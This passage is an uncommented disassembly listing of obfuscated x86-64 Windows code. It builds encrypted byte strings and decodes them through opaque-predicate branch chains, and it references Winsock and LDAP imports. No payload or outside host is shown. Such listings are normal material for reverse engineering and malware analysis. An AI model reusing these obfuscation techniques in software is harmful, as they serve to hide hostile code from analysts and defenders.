add rdi, rcx
inc rdi
jmp 0x14009f1f2
movabs rcx, 0xcd6cca1b79912237
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x7f
inc r9
dec rdi
inc rdi
jmp 0x14009f1f2
movabs rdx, 0x4c59d8a8a30aa499
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x2f
add r10b, dl
movabs rcx, 0x774f929a280e4549
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
inc bl
add bl, cl
mov byte [rbp + rdi + 0xa00], bl
inc r9
dec rdi
inc rdi
jmp 0x14009f1f2
movabs rcx, 0xc92104501f772bbf
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x39
inc r9
dec rdi
inc rdi
jmp 0x14009f1f2
movabs rcx, 0x480e12dd48f0ae21
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x19
dec rdi
inc rdi
jmp 0x14009f1f2
movabs rcx, 0xc6fb216a726a3083
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x6b
movabs rcx, 0xf862840cfe94c2e7
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x51
add cl, r10b
add cl, bl
mov byte [rbp + rdi + 0xa00], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009f1f2
mov rbx, r11
movabs rdx, 0xc2af5b9f18503a0b
add rdx, rdi
movzx eax, dl
and al, r11b
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4d
add r10b, dl
movabs rcx, 0x39feee39405e7f54
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x4c
add cl, bl
mov byte [rbp + rdi + 0xa00], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xa00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009f1f2
movabs rcx, 0x419c6a2c41c9bc6d
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 5
movzx eax, byte [rbp + rdi + 0xa00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009f1f2
movabs rcx, 0x76bb854b9efa18b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x33
jmp 0x14009f1f0
movabs rcx, 0x8658c6e1e36923ed
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7b
jmp 0x14009f1e0
lea rcx, [rbp + 0x16e3d14]
jmp 0x1400a0004
lea rcx, [rbp + 0x1317be3]
jmp 0x1400a0004
lea rcx, [rbp + 0xa00]
call fcn.140036770
mov byte [rbp + 0xf78], 0x79
mov byte [rbp + 0xf79], 0xba
mov byte [rbp + 0xf7a], 0x60
mov byte [rbp + 0xf7b], 0x9d
mov byte [rbp + 0xf7c], 0xb0
mov byte [rbp + 0xf7d], 0xbe
mov byte [rbp + 0xf7e], 0xab
mov byte [rbp + 0xf7f], 0xa0
mov byte [rbp + 0xf80], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xf81], 0x79
mov byte [rbp + 0xf82], 0x88
mov byte [rbp + 0xf83], 0xa4
mov byte [rbp + 0xf84], 0xa8
mov byte [rbp + 0xf85], 0x75
mov byte [rbp + 0xf86], 0xb9
mov byte [rbp + 0xf87], 0xa8
mov byte [rbp + 0xf88], 0xab
mov byte [rbp + 0xf89], 0xa0
mov byte [rbp + 0xf8a], 0xa6
mov byte [rbp + 0xf8b], 0xaf
mov byte [rbp + 0xf8c], 0x52
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf8d], xmm0
mov qword [rbp + 0xf9d], rax
mov dword [rbp + 0xfa5], eax
mov word [rbp + 0xfa9], ax
movabs rdi, 0xcf18af20ba0a74e7
movabs rsi, 0xa3ec872df3fc11f9
movabs r15, 0xc0b80856e449a40b
movabs r14, 0x227c76802b68c9e3
movabs r13, 0xa10c65d262d581cd
movzx edx, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400a0ef8
movzx r11d, byte [rbp + rbx + 0xf78]
mov r10, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400a0eec
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400a0162
lea rcx, [rbx + r15]
mov rax, rcx
and rax, r11
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r11
sub dl, 0x4d
jmp 0x1400a01a0
je 0x1400a0e65
inc rax
cmp r8, rax
je 0x1400a0dce
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a0d6f
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400a0d46
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a0d1a
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400a0ee0
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400a01d0
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x51
jmp 0x1400a0210
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a0cca
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a0ca0
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a0c6b
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400a0c48
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400a0874
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400a0851
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400a0822
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400a07f9
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400a07d3
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400a079d
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400a076b
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400a0745
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400a0722
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400a06eb
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400a0220
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 3]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400a0ebc
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400a0e99
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400a040c
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400a03f2
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400a03d8
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400a068c
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400a0631
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400a05e2
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400a05b5
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400a0220
lea r8, [r9 + 9]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400a057e
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400a055b
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400a0535
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400a0500
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400a04ca
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400a04a4
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400a047b
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400a044c
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400a0426
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400a0220
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x5a]
jmp 0x1400a0220
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x31
jmp 0x1400a0210
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x35
jmp 0x1400a01a0
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x65
jmp 0x1400a0125
movabs rdx, 0x78c57905d053a738
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400a0ce8
movabs rdx, 0xf755685807c05f22
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
inc r9
dec rbx
inc rbx
jmp 0x1400a0112
movabs rcx, 0x75e557aa3f2d170c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x54
dec rbx
inc rbx
jmp 0x1400a0112
movabs rdx, 0xf47546fc7699cef6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400a0d8d
movabs rcx, 0x7305364eae0686e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x20
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0112
movabs rdx, 0xf19525a0e5733eca
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0112
movabs rdx, 0x702514f31cdff6b4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400a0def
movabs rcx, 0xeeb50445544cae9e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x52
jmp 0x1400a0e1f
movabs rdx, 0x6d44f3978bb96688
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
movzx eax, byte [rbp + rbx + 0xf78]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a0112
movabs rcx, 0xa9acc9e516493251
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x37
mov byte [rbp + rbx + 0xf78], dl
inc rbx
jmp 0x1400a0112
movabs rdx, 0x283cb9374db5ea3b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x63
add dl, cl
cmp r9, 0x20
jb 0x1400a05d3
movabs rdx, 0xc953529ef5575c62
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x5c]
jmp 0x1400a0ce8
movabs rdx, 0xa6cca8898522a225
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 3
add dl, cl
cmp r8, 0x61
jae 0x1400a0bef
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400a0acc
movabs rdx, 0xbaf2abd51f968b86
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400a0600
movabs rcx, 0x255c97dbbc8f5a0f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x69
lea rax, [r9 + r8]
cmp rax, 6
je 0x1400a0c1b
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400a09b9
movabs rdx, 0xebd9fcb4658c169f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x59
jmp 0x1400a064f
movabs rdx, 0xda941ac45c3ebd6a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, byte [rbp + rbx + 0xf78]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a0112
movabs rcx, 0x59240a1693ab7554
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4c
jmp 0x1400a0e1f
movabs rdx, 0xd7b3f968cb182d3e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400a0def
movabs rcx, 0x5643e8bb0284e528
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x18
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0112
movabs rcx, 0xd4d3d80d39f19d12
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x7e
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0112
movabs rdx, 0x5363c75f715e54fc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400a0d8d
movabs rcx, 0xd1f3b6b1a8cb0ce6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4a
dec rbx
inc rbx
jmp 0x1400a0112
movabs rdx, 0x5083a603e037c4d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400a0112
movabs rcx, 0xcf13955617a47cba
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x16
jmp 0x1400a0ce8
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400a089d
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x4d
add dl, cl
jmp 0x1400a06aa
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a08e1
movabs rdx, 0x9e315e417414e9ce
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
movzx eax, byte [rbp + rbx + 0xf78]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a0112
inc rax
cmp r8, rax
jne 0x1400a0913
movabs rdx, 0xa1117f9d053b79fa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400a0def
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a0946
movabs rdx, 0x2561b1a65ef5523c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400a0d8d
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400a097d
movabs rcx, 0xa6d1c25427889a52
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x3e
dec rbx
inc rbx
jmp 0x1400a0112
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a06aa
movabs rdx, 0x2841d301f01be268
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
inc r9
dec rbx
inc rbx
jmp 0x1400a0112
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400a09e9
movabs rcx, 0x6d4a0d622e1f5eb5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0xd
jmp 0x1400a0ce8
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a0a19
movabs rcx, 0xf19a3f6b87d936f7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x3f
jmp 0x1400a0d8d
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400a0a5b
movabs rcx, 0x730a5019506c7f0d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5b
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0112
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a0a9a
movabs rcx, 0xf47a60c718ffc723
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0xb
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0112
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400a0651
movabs rdx, 0x75ea7174e1930f39
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x71
add dl, cl
jmp 0x1400a0def
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a0b0d
movabs rcx, 0x3c62bc82e829d39c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x44
movzx eax, byte [rbp + rbx + 0xf78]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a0112
inc rax
cmp r8, rax
jne 0x1400a0b3f
movabs rdx, 0xbdd2cd30b0bd1bb2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400a0e1f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a0b71
movabs rdx, 0x3f42ddde795063c8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x78
add dl, cl
jmp 0x1400a0def
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a0bb6
movabs rdx, 0x4222ff3a0a76f3f4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0112
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400a0602
movabs rcx, 0xc67331436430cc36
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7a
inc r9
dec rbx
inc rbx
jmp 0x1400a0112
movabs rdx, 0x4ac3634cbdeaa478
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, byte [rbp + rbx + 0xf78]
sub cl, al
add cl, r11b
sub dl, 0x48
add dl, cl
jmp 0x1400a0d8d
movabs rdx, 0xcc3373fa867dec8e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
sub cl, byte [rbp + rbx + 0xf78]
add cl, r11b
add dl, cl
jmp 0x1400a0def
movabs rcx, 0xda99348efea4b597
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x21
jmp 0x1400a0e1f
movabs rcx, 0x56490285a4eadd55
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x53
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0112
movabs rcx, 0x5368e12a13c44d29
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x1f
dec rbx
inc rbx
jmp 0x1400a0112
movabs rcx, 0x5088bfce829dbcfd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x15
movabs rcx, 0x8a0b5af5d9a1006d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 5
add cl, r11b
mov byte [rbp + rbx + 0xf78], cl
inc r9
dec rbx
inc rbx
jmp 0x1400a0112
movabs rcx, 0xcc388dc528e3e4bb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1d
inc r9
dec rbx
inc rbx
jmp 0x1400a0112
movabs rcx, 0x4ac87d1760509ca5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x7d
dec rbx
inc rbx
jmp 0x1400a0112
movabs rcx, 0xc9586c6997bd548f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x17
movabs rcx, 0xb7b6ba3a2344883
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x6b
add r11b, dl
add r11b, cl
mov byte [rbp + rbx + 0xf78], r11b
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0112
mov r11, r10
movabs rcx, 0x45083a603e037c4d
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1b
movabs rcx, 0x8ceb7c516ac79099
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x2f
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xf78], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x4da384a84f1134a4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x7c
add cl, r11b
mov byte [rbp + rbx + 0xf78], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xf78]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a0112
movabs rcx, 0x42281904acdcec21
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x19
movzx eax, byte [rbp + rbx + 0xf78]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a0112
movabs rcx, 0x1f9c55249a4239b7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
dec dl
jmp 0x1400a0110
movabs rcx, 0x9e2c4476d1aef1a1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x67
jmp 0x1400a0100
lea r14, [rbp + 0x17a46dc]
jmp 0x1400a0eff
lea r14, [rbp + 0x43eae7]
jmp 0x1400a0eff
lea r14, [rbp + 0xf78]
lea rdx, [0x140229dc0]
lea rcx, [rbp + 0x308]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xa8]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rsi + 0x38], 0
jne 0x1400a4062
mov byte [rbp + 0xa28], 0x47
mov byte [rbp + 0xa29], 0xaf
mov byte [rbp + 0xa2a], 0x5f
mov byte [rbp + 0xa2b], 0xa9
mov byte [rbp + 0xa2c], 0x56
mov byte [rbp + 0xa2d], 0x5e
mov byte [rbp + 0xa2e], 0xa7
mov byte [rbp + 0xa2f], Ordinal_35
mov byte [rbp + 0xa30], 0x78
mov byte [rbp + 0xa31], 0x51
mov byte [rbp + 0xa32], 0x55
mov byte [rbp + 0xa33], 3
mov byte [rbp + 0xa34], 0x47
mov byte [rbp + 0xa35], 0x46
mov byte [rbp + 0xa36], 0xb4
mov byte [rbp + 0xa37], Ordinal_45
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa38], xmm0
mov word [rbp + 0xa48], ax
mov byte [rbp + 0xa4a], al
movabs r15, 0xa8dd6b67518e4f33
movabs r13, 0x761b1c3e2803492d
movzx r11d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r9, qword [0x1402304a8]
mov r8, qword [0x1402304a0]
nop
xor edi, edi
movabs rdx, 0x44fe5a72a25c1c27
cmp rdi, 0x23
jae 0x1400a1d4e
movzx r10d, byte [rbp + rdi + 0xa28]
mov rbx, r10
cmp r9, rdi
ja 0x1400a1d42
lea rax, [r8 + 1]
cmp r9, rax
jae 0x1400a1055
lea rcx, [rdi + rdx]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x11
jmp 0x1400a1081
je 0x1400a1cb9
inc rax
cmp r9, rax
je 0x1400a1c4b
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400a1be9
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400a1b94
cmp r8, rdi
ja 0x1400a1d36
lea rax, [r8 + 0x20]
cmp r9, rax
jae 0x1400a10b2
lea rcx, [rdi + r15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x65
jmp 0x1400a10e0
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400a1b6f
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400a1b4b
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400a1b16
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400a176b
nop dword [rax]
lea rax, [r8 + 0x64]
cmp r9, rax
je 0x1400a1746
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x1400a1718
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x1400a16e9
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400a16c3
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x1400a169a
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x1400a1661
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x1400a163d
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x1400a1618
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x1400a15e2
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x1400a10f0
lea r9, [r8 + 9]
lea r8, [r9 + 0x2a]
lea rax, [r8 + 1]
cmp r9, rax
jb 0x1400a1d12
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x1400a1ced
lea rax, [r8 + 3]
cmp r9, rax
jb 0x1400a12ef
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x1400a12c7
lea rax, [r8 + 5]
cmp r9, rax
jb 0x1400a12a8
lea rax, [r8 + 0x42]
cmp r9, rax
jb 0x1400a1584
lea rax, [r8 + 8]
cmp r9, rax
jb 0x1400a1523
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x1400a14d4
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x1400a14a5
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x1400a10f0
lea r9, [r8 + 0x400]
lea r8, [r9 + 0x20]
lea rax, [r8 + 3]
cmp r9, rax
ja 0x1400a1470
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x1400a144b
lea rax, [r8 + 5]
cmp r9, rax
ja 0x1400a1426
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x1400a13f1
lea rax, [r8 + 8]
cmp r9, rax
ja 0x1400a13c8
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x1400a13a2
lea rax, [r8 + 0xa]
cmp r9, rax
ja 0x1400a1373
lea rax, [r8 + 2]
cmp r9, rax
ja 0x1400a1345
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x1400a1320
lea rax, [r8 + 4]
cmp r9, rax
ja 0x1400a10f0
lea r9, [r8 + 0x61]
lea r8, [r9 + 0x7a]
jmp 0x1400a10f0
lea rdx, [rdi + r13]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3b
add r11b, dl
jmp 0x1400a10e0
movabs rdx, 0xec1e6758e34b10df
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x19
add r11b, dl
jmp 0x1400a1081
movabs rdx, 0x6221b2739e92d891
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add dl, 9
add r11b, dl
movabs rdx, 0x44fe5a72a25c1c27
jmp 0x1400a101f
movabs rdx, 0x46eb5b3a8c727998
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x28
jmp 0x1400a1bb4
movabs rcx, 0xbceea65547ba414a
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 6
inc r8
dec rdi
inc rdi
jmp 0x1400a1002
movabs rdx, 0x32f1f170030208fc
